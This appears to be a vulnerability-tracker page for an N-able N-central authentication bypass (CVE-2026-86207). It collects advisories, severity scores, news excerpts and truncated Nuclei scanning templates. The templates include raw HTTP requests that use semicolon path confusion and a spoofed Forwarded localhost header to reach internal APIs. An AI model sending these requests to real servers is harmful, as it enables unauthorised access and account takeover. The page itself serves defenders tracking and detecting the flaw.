CVE-2026-86207
published 2026-09-05CVE-2026-86207: An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
PriorityP183high7.7CVSS 4.0
AVNACLATPPRLUINVCHVIHVAHSCNSINSANEXCRXIRXARXMAVXMACXMATXMPRXMUIXMVCXMVIXMVAXMSCXMSIXMSAXSXAUXRXVXREXUX
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
1.25%
69.2th percentile
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| n-able | n-central | < 2026.3.1.13 | 2026.3.1.13 |
CVSS provenance
nvdv4.07.7HIGHCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vulncheck7.7HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
ghsa_unreviewed·2026-09-05
CVE-2026-86207 [HIGH] CWE-305 An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
VulDB
N-able N-central up to 2026.3.1.7 improper authentication (EUVD-2026-72022)
vuldb·2026-09-05·CVSS 7.7
CVE-2026-86207 [HIGH] N-able N-central up to 2026.3.1.7 improper authentication (EUVD-2026-72022)
A vulnerability labeled as very critical has been found in N-able N-central up to 2026.3.1.7. Impacted is an unknown function. The manipulation results in improper authentication.
This vulnerability is known as CVE-2026-86207. Attacking locally is a requirement. No exploit is available.
The affected component should be upgraded.
VulnCheck
N-able N-central Authentication Bypass by Primary Weakness
vulncheck·2026·CVSS 7.7
CVE-2026-86207 [HIGH] N-able N-central Authentication Bypass by Primary Weakness
N-able N-central Authentication Bypass by Primary Weakness
An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal only APIs
Affected: N-able N-central
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://previdian.com/CVE-2026-86207
No detection rules found.
Nuclei
N-able N-central - Authentication Bypass
nuclei·CVSS 7.7
CVE-2026-86207 [HIGH] N-able N-central - Authentication Bypass
N-able N-central - Authentication Bypass
An authentication bypass in N-central
3
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(body, 'SessionID')"
- "contains(content_type, 'text/xml')"
condition: and
internal: true
extractors:
- type: regex
name: session_id
part: body
group: 1
regex:
- ']*>([0-9]+)'
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
{{session_id}}
1
dummy
matchers:
- type: dsl
dsl:
- "status_code == 500"
- "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')"
condition: and
internal: true
- raw:
- |
POST /dms;/services/ServerUI HTTP/1.1
Host: {{Hostname}}
Forwarded: for="127.0.0.\1"
Content
Nuclei
N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
nuclei·CVSS 6.9
CVE-2026-86206 [MEDIUM] N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
Template:
id: CVE-2026-86206
info:
name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
author: rapid7,DhiyaneshDk
severity: critical
description: |
A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
impact: |
Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.
remediation: Update to version 2026.3 HF3 or 2026.4.
reference:
- https://www
Hackernews
N-able N-central Pre-Auth RCE Flaw Exploited in the Wild
blogs_hackernews·2026-09-09·CVSS 6.9
CVE-2026-86218 [MEDIUM] N-able N-central Pre-Auth RCE Flaw Exploited in the Wild
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## N-able N-central Pre-Auth RCE Flaw Exploited in the Wild
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added a maximum-severity security flaw impacting N-able N-central to its Known Exploited Vulnerabilities ( KEV ) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the fixes by September 11, 2026.
The vulnerability in question is CVE-2026-86218 (CVSS score: 10.0), which has been described as a case of static code injection. It has been patched in N-central 2026.3 Hotfix 4 , released on September 5, 2026.
"N-able N-central contains a static code injection vulnerabilit
Rapid7
CVE-2026-86206, CVE-2026-86207: N-able N-central Authentication Bypass (FIXED)
blogs_rapid7·2026-09-08·CVSS 8.1
CVE-2026-18577 [HIGH] CVE-2026-86206, CVE-2026-86207: N-able N-central Authentication Bypass (FIXED)
## Overview
While conducting research into a recent N-able N-central authentication bypass vulnerability ( CVE-2026-18577 ), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.
CVE ID
Description
CWE
CVSSv4
CVE-2026-86206
Semicolon/Forwarded access-control bypass
CWE-791
6.9 (Medium)
CVE-2026-86207
UserTwoFactorLogin authentication bypass
CWE-305
7.7 (High)
Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.
## Product description
N-able N-central is an enterprise-grade Remote Monitoring
Hackernews
⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More
blogs_hackernews·2026-09-07·CVSS 6.9
CVE-2026-86206 [MEDIUM] ⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## ⚡ Weekly Recap: Chrome 0-Day, Router Hijacks, Coder Supply Chain Attack and More
Turning off email images should at least stop the pictures. This week, attackers had a workaround: a scannable QR code built out of text. It still appears, even with images blocked. A small detail, but an annoying one if that was a precaution you were counting on.
Elsewhere, a trusted software source delivered code that stole credentials, and a protocol designed for secure network management gave outsiders useful clues before login. Add active attacks on browsers, routers, and online stores, and there’s plenty to check—even for teams that have k
Hackernews
N-able Issues Fourth N-central Hotfix in Five Weeks for Unauthenticated RCE Flaw
blogs_hackernews·2026-09-07·CVSS 10.0
CVE-2026-86218 [CRITICAL] N-able Issues Fourth N-central Hotfix in Five Weeks for Unauthenticated RCE Flaw
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## N-able Issues Fourth N-central Hotfix in Five Weeks for Unauthenticated RCE Flaw
Every on-premises N-central build below 2026.3.1.14 — including servers updated to Hotfix 3 a day earlier — needs Hotfix 4. N-able's incident notice says the flaw has been exploited in the wild; its release notes say that is unconfirmed.
N-able has released its fourth hotfix in five weeks for the N-central remote monitoring and management (RMM) platform, this time for a maximum-severity vulnerability that could allow remote code execution on the N-central server without authentication.
The company's own communications disagree on whether the fl
2026-09-05
Published
Exploited in the wild